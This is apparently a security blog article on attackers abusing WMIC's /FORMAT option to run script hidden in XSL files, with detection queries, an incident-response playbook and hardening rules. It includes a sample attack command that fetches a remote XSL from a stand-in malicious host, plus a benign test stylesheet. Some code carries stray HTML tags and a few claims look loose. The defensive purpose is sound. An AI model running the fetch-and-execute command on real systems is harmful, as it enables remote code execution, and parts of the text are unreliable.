XSL Script Execution via WMICEXE: The Silent Brute Force Tactic Bypassing Your SOC + Video

By /

Listen to this Post

Featured Image

Introduction:

WMIC (Windows Management Instrumentation Command-line) is a powerful administrative tool that attackers increasingly abuse to execute malicious XSL (Extensible Stylesheet Language) scripts. When combined with brute force authentication attempts, this technique allows adversaries to bypass traditional endpoint detection by leveraging trusted Microsoft binaries, making it a critical blind spot for SOC teams. This article dissects the recently flagged SOC alert (Event ID 288) and provides actionable detection, response, and hardening strategies.

Learning Objectives:

  • Detect and analyze XSL script execution via WMIC.EXE using Windows event logs and Sysmon.
  • Simulate a brute force attack leveraging WMIC and XSL to understand attacker TTPs.
  • Implement mitigation controls, including command-line auditing and application whitelisting.

You Should Know:

1. Understanding WMIC and XSL Script Execution Abuse

WMIC allows administrators to execute WMI queries and methods from the command line. The `/FORMAT` parameter is designed to output results in a specified format, such as CSV or HTML, using XSL transformations. Attackers discovered that by supplying a malicious XSL file (local or remote), WMIC will download and execute script code (e.g., JScript, VBScript) embedded within the XSL. This is a classic “living off the land” technique (LOLBAS) that evades many antivirus solutions because WMIC.exe is a signed Microsoft binary.

Step‑by‑step guide explaining what this does and how to use it:
– An attacker crafts an XSL file containing embedded JScript or VBScript that performs actions like reverse shell, credential dumping, or brute force payload delivery.
– They execute: `wmic process get /FORMAT:”http://malicious.server/evil.xsl”`
– WMIC fetches the XSL, applies the transformation, and executes the embedded script in the context of WMIC.exe.
– Defenders must monitor for WMIC.exe network connections to suspicious domains and unusual child processes (e.g., cmd.exe, powershell.exe spawned from wmic.exe).

Windows command to detect recent WMIC executions:

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=1} | Where-Object {$<em>.Message -like 'wmic.exe' -and $</em>.Message -like 'format'} | Format-List

Linux equivalent (for cross‑platform SIEM queries using Zeek or syslog):

grep -i "wmic" /var/log/syslog | grep -i "format"
  1. Detecting Event ID 288: The SOC’s First Clue

Event ID 288 in the Windows PowerShell Operational log (or sometimes in WMI-Activity logs) indicates a WMIC command execution that invoked a script. However, to catch the actual XSL abuse, you need Sysmon Event ID 1 (process creation) and Event ID 3 (network connection). The LetsDefend alert correctly flags this as a brute force type, meaning the attacker may be cycling through credentials while executing the XSL script to achieve persistence or lateral movement.

Step‑by‑step guide explaining what this does and how to use it:
– Collect Sysmon logs with configuration capturing command-line arguments for wmic.exe.
– Look for `/FORMAT:` parameter pointing to HTTP/HTTPS or local paths containing `.xsl` or .xml.
– Correlate with failed login events (Event ID 4625 on domain controllers) to confirm brute force.
– Use PowerShell to extract relevant events:

 Find all WMIC executions with format parameter
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'} | Where-Object {
$<em>.Id -eq 1 -and $</em>.Message -match 'wmic.exe' -and $_.Message -match '/FORMAT:'
} | Select-Object TimeCreated, Message

– For Windows Event Log (Event ID 288 example path):

wevtutil qe "Microsoft-Windows-WMI-Activity/Operational" /f:text /c:10 | findstr "288"

3. Simulating the Attack for Blue Team Exercises

To test your detection rules, safely simulate XSL script execution using a controlled environment. Create a benign XSL file that echoes a message or writes to a log file. This helps validate that your SOC alerts fire correctly without deploying malware.

Step‑by‑step guide:

  • Create `test.xsl` with the following content (safely writes to C:\temp\wmic_test.txt): 
    <?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" version="1.0">
<output method="text"/>
<template match="/">
<value-of select="'WMIC XSL execution detected at '"/>
<value-of select="system-property('xsl:version')"/></li>
</ul>

<script language="JScript">
<![CDATA[
var fso = new ActiveXObject("Scripting.FileSystemObject");
var file = fso.OpenTextFile("C:\\temp\\wmic_test.txt", 8, true);
file.WriteLine("Executed at " + new Date());
file.Close();
]]>
</script>

</template>
</stylesheet>

    – Execute: `wmic process list brief /FORMAT:test.xsl`
    – Check for file creation: `type C:\temp\wmic_test.txt`
    – Monitor Sysmon Event ID 1 for wmic.exe spawning wscript.exe or cscript.exe (if script uses scripting engine). Also monitor Event ID 3 for outbound connections if XSL is remote.

    4. Incident Response Playbook for XSL Brute Force

    When a SOC alert triggers on “XSL Script Execution Via WMIC.EXE” with brute force context, follow this IR workflow:

    Step‑by‑step guide:

    • Containment: Block outbound traffic from the affected endpoint to the suspicious domain/IP identified in the WMIC command. Isolate the host via network ACLs or EDR quarantine.
    • Investigation: Collect the following artifacts:
    • Full command line from Sysmon Event ID 1 (ParentImage wmic.exe, CommandLine containing /FORMAT).
    • The XSL file itself (if still on disk or accessible via URL). Use `curl` or `Invoke-WebRequest` to download a copy for analysis in a sandbox.
    • Windows event logs for brute force indicators: Event ID 4625 (failed logon), 4648 (explicit credential logon).
    • Eradication: Kill any child processes spawned by wmic.exe (e.g., powershell, net.exe, rundll32). Remove scheduled tasks or WMI persistent subscriptions created by the script.
    • Recovery: Reset passwords for compromised accounts. Reimage the host if persistence is confirmed.
    • Commands to run on compromised Windows host: 
      taskkill /IM wmic.exe /F
wmic process where "name='wmic.exe'" delete
schtasks /query /fo LIST /v | findstr "WMIC"

    5. Mitigation and Hardening Strategies

    Prevent XSL script execution without breaking legitimate administrative workflows. Use a combination of application control, command-line logging, and network restrictions.

    Step‑by‑step guide:

    • Disable WMIC if not required: On Windows 10/11 and Server 2016+, WMIC is deprecated but still present. Use Group Policy to restrict its execution via AppLocker or Windows Defender Application Control (WDAC):
    • Create a WDAC rule to block `%windir%\System32\wbem\WMIC.exe` for all users except administrators.
    • Enable command-line auditing: Set `Audit Process Creation` to `Success` and enable `Include command line in process creation events` via Group Policy (Computer Configuration → Administrative Templates → System → Audit Process Creation).
    • Block outbound HTTP/HTTPS from WMIC: Use Windows Firewall with Advanced Security to create a rule denying outbound connections for `WMIC.exe` to any remote port 80/443. 
      New-NetFirewallRule -DisplayName "Block WMIC Outbound" -Direction Outbound -Program "%windir%\System32\wbem\WMIC.exe" -Protocol TCP -RemotePort 80,443 -Action Block
    • Monitor and alert on `/FORMAT:` parameter using SIEM query (KQL example): 
      DeviceProcessEvents
| where FileName == "wmic.exe"
| where ProcessCommandLine contains "/FORMAT:"
| project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessAccountName

    6. Advanced Hunting with Sysmon and Event Tracing

    To detect lateral movement using WMIC + XSL, combine network logs and process trees. Attackers often use WMIC remotely (via wmic /node:target /user:...) to execute XSL scripts across the network, triggering brute force patterns.

    Step‑by‑step guide:

    • Install Sysmon with configuration that captures:
    • Event ID 1: Process creation (include CommandLine, ParentCommandLine)
    • Event ID 3: Network connection (include DestinationIp, DestinationPort)
    • Event ID 10: ProcessAccess (to detect remote WMI activity)
    • Sample Sysmon config snippet for WMIC: 
      <ProcessCreate onmatch="include">
<Image condition="end with">wmic.exe</Image>
<CommandLine condition="contains">/FORMAT</CommandLine>
</ProcessCreate>
    • Hunt for `wmic.exe` connecting to external IPs (not internal) using Event ID 3: 
      Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=3} | Where-Object {
$<em>.Message -match 'wmic.exe' -and $</em>.Message -match 'DestinationIp.(?!10.|172.16.|192.168.)'
}

    7. Linux Detection for Cross‑Platform Environments

    While WMIC is Windows-specific, Linux environments using Samba or Winbind may see WMIC invocations from remote Windows hosts. Additionally, attackers use analogous techniques on Linux (e.g., `xsltproc` with malicious XSL). Apply similar detection logic.

    Step‑by‑step guide:

    • Monitor Samba logs for `wmic` commands: 
      grep -i "wmic" /var/log/samba/log.smbd
    • For Linux native XSL abuse via xsltproc: 
      Detect xsltproc executing remote style sheets
auditctl -a always,exit -F path=/usr/bin/xsltproc -F perm=x -k xsl_exec
    • Search for xsltproc processes with network connections: 
      sudo lsof -i -P -n | grep xsltproc
    • Prevent xsltproc from fetching remote documents by setting environment variable `XML_CATALOG_FILES=/etc/xml/catalog` and removing network access from the process via SELinux or AppArmor.

    What Undercode Say:

    • Living off the land is still effective: Attackers abuse trusted tools like WMIC to evade signature‑based AV; behavior monitoring (command line arguments, network connections) is non‑negotiable.
    • Brute force context changes the game: Combining XSL execution with brute force suggests credential stuffing or password spraying, often a precursor to ransomware deployment. SOCs must correlate login failures with LOLBin executions.
    • Event ID 288 alone is insufficient: Real detection requires Sysmon or equivalent deep process telemetry. Organizations without Sysmon are blind to the `/FORMAT:` parameter and subsequent script children.

    Prediction:

    As Microsoft deprecates WMIC in future Windows releases (replaced by PowerShell cmdlets), attackers will pivot to similar abuse of mshta.exe, regsvr32.exe, or `cscript.exe` with XSL or HTA files. However, legacy systems and industrial control networks will continue running older Windows versions for years, making WMIC‑based attacks a persistent threat. Expect to see XSL payloads delivered via spear‑phishing with `.xsl` attachments that auto‑execute when opened in Internet Explorer mode, bypassing Mark of the Web restrictions. SOCs must proactively build detection for all script‑capable format parameters across every LOLBin.

    ▶️ Related Video (82% Match):

    🎯Let’s Practice For Free:

    IT/Security Reporter URL:

    Reported By: New Soc – Hackers Feeds
    Extra Hub: Undercode MoN
    Basic Verification: Pass ✅

    🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

    💬 Whatsapp | 💬 Telegram

    📢 Follow UndercodeTesting & Stay Tuned:

    𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky

Related Posts: